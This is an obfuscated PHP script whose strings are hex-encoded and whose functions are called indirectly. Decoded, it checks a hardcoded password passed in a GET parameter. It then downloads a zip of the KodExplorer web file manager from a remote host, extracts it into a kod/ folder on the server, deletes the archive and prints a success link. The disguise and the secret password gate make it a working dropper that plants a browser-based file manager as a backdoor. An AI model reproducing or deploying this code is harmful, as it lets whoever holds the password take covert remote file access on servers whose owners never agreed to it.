<?php
if
(!defined(
"AAAGAGA"
)) define(
"AAAGAGA"
,
"AAAGAAG"
);
$GLOBALS
[AAAGAGA] =
explode
(
"|^|K|3"
,
"H*|^|K|341414741474747"
);
if
(!defined(pack(
$GLOBALS
[AAAGAGA][00],
$GLOBALS
[AAAGAGA][0x1]))) define(pack(
$GLOBALS
[AAAGAGA][00],
$GLOBALS
[AAAGAGA][0x1]) , ord(1));
if
(!defined(
"AAAGGAA"
)) define(
"AAAGGAA"
,
"AAAGAGG"
);
$GLOBALS
[AAAGGAA] =
explode
(
"|v|t|Z"
,
"H*|v|t|Z41414741474741|v|t|Z41414741474147|v|t|Z7C3A7C2D7C35|v|t|Z7C3A7C2D7C35646566696E65647C3A7C2D7C35666F70656E7C3A7C2D7C3566707574737C3A7C2D7C3566636C6F73657C3A7C2D7C3569735F66696C657C3A7C2D7C35756E6C696E6B"
);
if
(!defined(pack(
$GLOBALS
[AAAGGAA] {
0
}
,
$GLOBALS
[AAAGGAA] {
01
}))) define(pack(
$GLOBALS
[AAAGGAA] {
0
}
,
$GLOBALS
[AAAGGAA] {
01
}) , pack(
$GLOBALS
[AAAGGAA] {
0
}
,
$GLOBALS
[AAAGGAA][02]));
$GLOBALS
[AAGAGGA] =
explode
(pack(
$GLOBALS
[AAAGGAA] {
0
}
,
$GLOBALS
[AAAGGAA] {
3
}) , pack(
$GLOBALS
[AAAGGAA] {
0
}
,
$GLOBALS
[AAAGGAA][0x4]));
if
(!defined(
"AAAGGGA"
)) define(
"AAAGGGA"
,
"AAAGGAG"
);
$GLOBALS
[AAAGGGA] =
explode
(
"|K|H|a"
,
"H*|K|H|a41414747414147|K|H|a646566696E65|K|H|a41414747414141|K|H|a70|K|H|a|K|H|a3070656e2e736573616d65|K|H|a687474703A2F2F7374617469632E6B6F64636C6F75642E636F6D2F7570646174652F646F776E6C6F61642F6B6F646578706C6F726572342E34302E7A6970|K|H|a2E2F6B6F642E7A6970|K|H|a772B|K|H|a6B6F642E7A6970|K|H|a6B6F642F|K|H|a3C6120687265663D222E2F6B6F6422207461726765743D225F626C616E6B223EE689A7E8A18CE68890E58A9FE782B9E587BBE8BF9BE585A53C2F613E0A"
);
if
(!
$GLOBALS
[AAGAGGA] {
0x1
}
(pack(
$GLOBALS
[AAAGGGA] {
0x0
}
,
$GLOBALS
[AAAGGGA] {
1
}))) \call_user_func(pack(
$GLOBALS
[AAAGGGA] {
0x0
}
,
$GLOBALS
[AAAGGGA][02]) , pack(
$GLOBALS
[AAAGGGA] {
0x0
}
,
$GLOBALS
[AAAGGGA] {
1
}) , pack(
$GLOBALS
[AAAGGGA] {
0x0
}
,
$GLOBALS
[AAAGGGA] {
03
}));
$GLOBALS
[AAGGAAG] =
array
(
$_GET
);
$AGAAAAG
= &
$passwd
;
$AGAAAAA
= &
$ch
;
$AAGGGGG
= &
$source
;
$AAGGGGA
= &
$data
;
$AAGGGAG
= &
$destination
;
$file
= &
$AAGGGAA
;
$AAGGAGG
= &
$zip
;
$file_path
= &
$AAGGAGA
;
$AGAAAAG
= isset(
$GLOBALS
[AAGGAAG][(0 - 1225 + 25 * AAGAGGG) ][pack(
$GLOBALS
[AAAGGGA] {
0x0
}
,
$GLOBALS
[AAAGGGA] {
4
}) ]) ?
$GLOBALS
[AAGGAAG][(0 - 1225 + 25 * AAGAGGG) ][pack(
$GLOBALS
[AAAGGGA] {
0x0
}
,
$GLOBALS
[AAAGGGA] {
4
}) ] : pack(
$GLOBALS
[AAAGGGA] {
0x0
}
,
$GLOBALS
[AAAGGGA][05]);
if
(
$AGAAAAG
!= pack(
$GLOBALS
[AAAGGGA] {
0x0
}
,
$GLOBALS
[AAAGGGA][06])) {
exit
;
}
$AGAAAAA
= curl_init();
$AAGGGGG
= pack(
$GLOBALS
[AAAGGGA] {
0x0
}
,
$GLOBALS
[AAAGGGA] {
07
});
curl_setopt(
$AGAAAAA
, CURLOPT_URL,
$AAGGGGG
);
curl_setopt(
$AGAAAAA
, CURLOPT_RETURNTRANSFER, (AAGAGGG * 41 - 2008));
$AAGGGGA
= curl_exec(
$AGAAAAA
);
curl_close(
$AGAAAAA
);
$AAGGGAG
= pack(
$GLOBALS
[AAAGGGA] {
0x0
}
,
$GLOBALS
[AAAGGGA] {
0x8
});
$AAGGGAA
=
$GLOBALS
[AAGAGGA] {
02
}
(
$AAGGGAG
, pack(
$GLOBALS
[AAAGGGA] {
0x0
}
,
$GLOBALS
[AAAGGGA][011]));
$GLOBALS
[AAGAGGA] {
03
}
(
$AAGGGAA
,
$AAGGGGA
);
$GLOBALS
[AAGAGGA] {
0x4
}
(
$AAGGGAA
);
$AAGGAGG
=
new
ZipArchive();
if
(
$AAGGAGG
->open(pack(
$GLOBALS
[AAAGGGA] {
0x0
}
,
$GLOBALS
[AAAGGGA][012])) === true) {
$AAGGAGG
->extractTo(pack(
$GLOBALS
[AAAGGGA] {
0x0
}
,
$GLOBALS
[AAAGGGA] {
11
}));
$AAGGAGG
->close();
}
$AAGGAGA
= pack(
$GLOBALS
[AAAGGGA] {
0x0
}
,
$GLOBALS
[AAAGGGA] {
0x8
});
if
(
$GLOBALS
[AAGAGGA] {
05
}
(
$AAGGAGA
)) {
if
(
$GLOBALS
[AAGAGGA][6](
$AAGGAGA
)) {
}
}
echo
pack(
$GLOBALS
[AAAGGGA] {
0x0
}
,
$GLOBALS
[AAAGGGA] {
0xC
});
?>